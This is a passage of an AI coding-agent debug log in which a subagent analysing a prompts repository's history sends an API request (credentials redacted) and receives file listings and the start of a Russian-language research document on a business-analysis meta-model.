\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u043c, \u0430 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430;\\n- \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u044e\u0442: \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0438\u0448\u0443\u0442 \u0432 `prompts/`, `kb/`, `patterns/`\\n  \u0438 `site/data/`, \u0432\u044b\u0432\u043e\u0434 \u043a\u043b\u0430\u0434\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043d\u0443\u0442\u0440\u044c `runs/YYYY/RUN-XXXX/`.\\n\\n## \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f\\n\\n\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0438 \u0432 CI:\\n\\n```bash\\npython3 scripts/validate_issue_123_runs_contract.py\\n```\",\n[2026-09-29T07:44:44.444Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:44.444Z] [INFO]       }\n[2026-09-29T07:44:44.444Z] [INFO]     ]\n[2026-09-29T07:44:44.444Z] [INFO]   },\n[2026-09-29T07:44:44.444Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"uuid\": \"e667fd51-01a5-449a-a312-e554a7b5ddc7\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:44.416Z\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:44.444Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:44.444Z] [INFO] }\n[2026-09-29T07:44:44.497Z] [STDOUT] [log_bf7fcd] sending request {\n[2026-09-29T07:44:44.508Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:44.512Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:44.525Z] [STDOUT]   options: {\n[2026-09-29T07:44:44.529Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:44.536Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:44.539Z] [STDOUT]     body: {\n[2026-09-29T07:44:44.544Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:44.548Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:44.555Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:44.557Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:44.559Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:44.561Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:44.563Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:44.566Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:44.567Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:44.571Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:44.574Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:44.575Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:44.577Z] [STDOUT]     },\n[2026-09-29T07:44:44.579Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:44.581Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:44.582Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:44.592Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:44.595Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:44.596Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:44.598Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:44.600Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:44.602Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:44.605Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:44.608Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:44.612Z] [STDOUT]     },\n[2026-09-29T07:44:44.620Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:44.626Z] [STDOUT]   },\n[2026-09-29T07:44:44.632Z] [STDOUT]   headers: {\n[2026-09-29T07:44:44.640Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:44.643Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:44.648Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:44.654Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:44.657Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:44.679Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:44.687Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:44.705Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:44.787Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:44.806Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:44.813Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:44.833Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1399\",\n[2026-09-29T07:44:44.847Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:44.865Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:44.870Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:44.873Z] [STDOUT]     \"x-client-request-id\": \"33f7ce7b-cdc8-45ff-8750-0f9e963f362f\",\n[2026-09-29T07:44:44.881Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:44.888Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:44.898Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:44.924Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:44.932Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:44.938Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:44.943Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:44.948Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:44.952Z] [STDOUT]   },\n[2026-09-29T07:44:44.958Z] [STDOUT] }\n[2026-09-29T07:44:45.398Z] [STDOUT] [log_bf7fcd, request-id: \"req_011CfXMhndKzhcxqFCRFxzHW\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 902ms\n[2026-09-29T07:44:45.410Z] [STDOUT] [log_bf7fcd] response start {\n[2026-09-29T07:44:45.417Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:45.422Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:45.430Z] [STDOUT]   headers: {\n[2026-09-29T07:44:45.447Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:45.456Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:45.479Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:45.488Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:45.496Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:45.515Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:45.519Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:45.527Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:45.543Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:45.548Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:45.565Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:45.579Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:45.582Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:45.586Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:45.592Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:45.597Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:45.601Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:45.605Z] [STDOUT]     \"cf-ray\": \"a4295d462f7adbb5-FRA\",\n[2026-09-29T07:44:45.611Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:45.620Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:45.635Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:45.651Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:45.658Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:45 GMT\",\n[2026-09-29T07:44:45.705Z] [STDOUT]     \"request-id\": \"req_011CfXMhndKzhcxqFCRFxzHW\",\n[2026-09-29T07:44:45.714Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:45.722Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:45.730Z] [STDOUT]     traceresponse: \"00-f38d9ca3ae1f88730016bf7b1829883b-37b8f0a7e950af0e-01\",\n[2026-09-29T07:44:45.808Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:45.857Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:45.865Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:45.873Z] [STDOUT]   },\n[2026-09-29T07:44:45.895Z] [STDOUT]   durationMs: 902,\n[2026-09-29T07:44:45.902Z] [STDOUT] }\n[2026-09-29T07:44:45.908Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:45.914Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:45 GMT\",\n[2026-09-29T07:44:45.920Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:45.923Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:45.928Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:45.933Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:45.939Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:45.946Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:45.955Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:45.958Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:45.963Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:45.971Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:45.978Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:45.983Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:45.987Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:45.994Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:46.003Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:46.009Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:46.012Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:46.020Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:46.026Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:46.038Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:46.048Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:46.057Z] [STDOUT]   \"request-id\": \"req_011CfXMhndKzhcxqFCRFxzHW\",\n[2026-09-29T07:44:46.065Z] [STDOUT]   \"traceresponse\": \"00-f38d9ca3ae1f88730016bf7b1829883b-37b8f0a7e950af0e-01\",\n[2026-09-29T07:44:46.072Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:46.080Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:46.086Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:46.092Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:46.099Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:46.104Z] [STDOUT]   \"cf-ray\": \"a4295d462f7adbb5-FRA\",\n[2026-09-29T07:44:46.108Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:46.114Z] [STDOUT] [log_bf7fcd] response parsed {\n[2026-09-29T07:44:46.121Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:46.124Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:46.126Z] [STDOUT]   body: X {\n[2026-09-29T07:44:46.130Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:46.136Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:46.148Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:46.151Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:46.155Z] [STDOUT]     },\n[2026-09-29T07:44:46.159Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:46.165Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:46.171Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:46.175Z] [STDOUT]   },\n[2026-09-29T07:44:46.183Z] [STDOUT]   durationMs: 905,\n[2026-09-29T07:44:46.187Z] [STDOUT] }\n[2026-09-29T07:44:46.196Z] [INFO] {\n[2026-09-29T07:44:46.196Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"message\": {\n[2026-09-29T07:44:46.196Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:46.196Z] [INFO]     \"id\": \"msg_011CfXMho95dWKpPKLz6Tasf\",\n[2026-09-29T07:44:46.196Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:46.196Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:46.196Z] [INFO]     \"content\": [\n[2026-09-29T07:44:46.196Z] [INFO]       {\n[2026-09-29T07:44:46.196Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:46.196Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:44:46.196Z] [INFO]         \"signature\": \"CAQSzgQKEAgSGAI4AUIIdGhpbmtpbmcSDAuCZSKJV8ugScQaPxoMz+NxMUYG3Y2yL6VZIjBRQi7kFoJpuQB0fFIfnbnNUxuc5mE7jyvl76ccNuDefdjqtgXKqVIdRAzNg3Ab68sq6wNFm9X2hPzgH9sLQkNUKhW9yeXPEZkvY/tVeyWjfhwZeUp3aj18O2rdeAlYTlqSqsa58SfLsER+gpOaAiQTNeTthtz+FHZ6HlJXK1QSLex8/Wm9heOk/VXIp6AgNhhGCZPbEU7fjTXfeCK1AxIWkpOCuKM5owNn5a+Pr/nN8jz3gLk0x9Xwv6sEYXJjjQXVMIIYpvXZXlfcUZjZzol3xSqPsE0ZssOfojjezrJ7FsQQMx4IRGUv3s1yLlcH6ax/aGCaeTpVhbnWDlRkr/jK3M1iHcVqH0z4bJ1/Humsdr3PZROi3dPS7WKH7+7VCqwy45gSgpBfzUUpDX1qlpxfhIzVD2S03rc2mMgywIIWEfi7ewSaMwaBSMEt4740jPQtRRsJ7R7MoVmzR+Y8z3/aWRfNdI0y3xT1dhvRS15liW5PxUG3De5X5KlcRrMEqaACWSOu5fHpx9W9X0qIxI7EJDz3qGMuCua63LjTjAJFq7nTCgUED/OER5aTjXUF24CSfQfC19ohfdhovh+lSvGX4Qc+8bW+YO6xjuLa1GDvr9n4ut3pCnlcYbuundAQC0mDmrRDc6LS7Vem9oSB71ZT7IdfLgSuf+6uT7BRgKyxL3MgD3waNH0bMHcQg2lN+mWBKz1FxtHhB5BjX4KxJxgB\"\n[2026-09-29T07:44:46.196Z] [INFO]       }\n[2026-09-29T07:44:46.196Z] [INFO]     ],\n[2026-09-29T07:44:46.196Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:46.196Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:46.196Z] [INFO]       \"cache_creation_input_tokens\": 9739,\n[2026-09-29T07:44:46.196Z] [INFO]       \"cache_read_input_tokens\": 32400,\n[2026-09-29T07:44:46.196Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:46.196Z] [INFO]         \"ephemeral_5m_input_tokens\": 9739,\n[2026-09-29T07:44:46.196Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:46.196Z] [INFO]       },\n[2026-09-29T07:44:46.196Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:46.196Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:46.196Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:46.196Z] [INFO]     },\n[2026-09-29T07:44:46.196Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:46.196Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:46.196Z] [INFO]   },\n[2026-09-29T07:44:46.196Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"uuid\": \"e4f91938-2c47-4e66-80ab-760eeee1ce40\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:45.990Z\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"request_id\": \"req_011CfXMhndKzhcxqFCRFxzHW\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:46.196Z] [INFO] }\n[2026-09-29T07:44:46.211Z] [INFO] {\n[2026-09-29T07:44:46.211Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:46.211Z] [INFO]   \"message\": {\n[2026-09-29T07:44:46.211Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:46.211Z] [INFO]     \"content\": [\n[2026-09-29T07:44:46.211Z] [INFO]       {\n[2026-09-29T07:44:46.211Z] [INFO]         \"tool_use_id\": \"toolu_018vUWTSMmYWMwQJnSYx2LVU\",\n[2026-09-29T07:44:46.211Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:46.211Z] [INFO]         \"content\": \"   237 00-introduction.md\\n   253 10-theory.md\\n   310 20-taxonomy.md\\n   304 30-decision-framework.md\\n   225 40-practice-and-cases.md\\n   211 50-open-research.md\\n    80 operation-taxonomy/00-introduction.md\\n   111 operation-taxonomy/10-theory.md\\n   243 operation-taxonomy/20-taxonomy.md\\n   102 operation-taxonomy/30-decision-framework.md\\n   100 operation-taxonomy/40-practice-and-cases.md\\n    57 operation-taxonomy/50-open-research.md\\n   134 process-taxonomy/00-introduction.md\\n   218 process-taxonomy/10-theory.md\\n   197 process-taxonomy/20-taxonomy.md\\n   169 process-taxonomy/30-decision-framework.md\\n   133 process-taxonomy/40-practice-and-cases.md\\n    59 process-taxonomy/50-open-research.md\\n  3143 total\\n---\\nstatus: draft\\nversion: 0.4\\nupdated: 2026-09-15\\ntemperature: 0.3\\ntype: research\\ncontext: [ba, methodology, meta-model, taxonomy, actor, execution-package, gigacode, deprecation, traceability, issue-563, issue-571, issue-587]\\nmethod: synthesis + corpus-measurement + entity-modeling + package-design\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\nbased_on:\\n  - research/ba-requirements/2026-09-08-meta-model-inputs-facts.md\\n  - research/ba-requirements/exp/ba-meta-model-563/meta-model-inputs.json\\n  - research/ba-requirements/methodology-unification/10-theory.md\\n  - research/ba-requirements/artifact-micro-structure/20-taxonomy.md\\nrelated_artifacts:\\n  - \\\"docs/adr/2026-09-adr-013-run-modes-deprecation.md\\\"\\n  - \\\"docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md\\\"\\n  - \\\"projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md\\\"\\n  - \\\"projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md\\\"\\n  - \\\"standards/product-taxonomy-reference.md\\\"\\n  - \\\"research/ba-requirements/orchestration/00-introduction.md\\\"\\n  - \\\"ops/backlog.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/577\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/587\\\"\\n---\\n\\n# \u041f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 \u0434\u043b\u044f \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0438 Execution Package\\n\\n\u0410\u0432\u0442\u043e\u0440\u0441\u0442\u0432\u043e \u043c\u043e\u0434\u0435\u043b\u0438: **G-Ivan-A**. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e\\n\u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 \u0441\u0440\u0435\u0434\u0435 GigaCode. \u042d\u0442\u043e \u0438\u043c\u044f \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u044f\u0432\u043a\u043e\u0439 \u043d\u0430\\n\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c: \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c `L0`/`L1` \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u0434\u043e\u043c\u0435\u043d\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n\u0437\u0430\u0434\u0430\u0447\u0438 `B-158`, \u0430 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n> **\u041c\u043e\u0434\u0443\u043b\u044c** \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d \u043f\u043e\\n> [Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md):\\n> `00` \u2014 \u0440\u0430\u043c\u043a\u0430 \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, `10` \u2014 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n> \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, `20` \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, `30` \u2014 \u0441\u043e\u0441\u0442\u0430\u0432 Execution\\n> Package \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u0432\u044b\u043a\u0430, `40` \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n> BCREQ, \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438, `50` \u2014 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0435 \u0438 \u0431\u044d\u043a\u043b\u043e\u0433.\\n> **\u0421\u0441\u044b\u043b\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 issue #563). \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014\\n> \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n> [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n> \u043f\u0440\u0430\u0432\u0438\u043b\u043e `P2` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 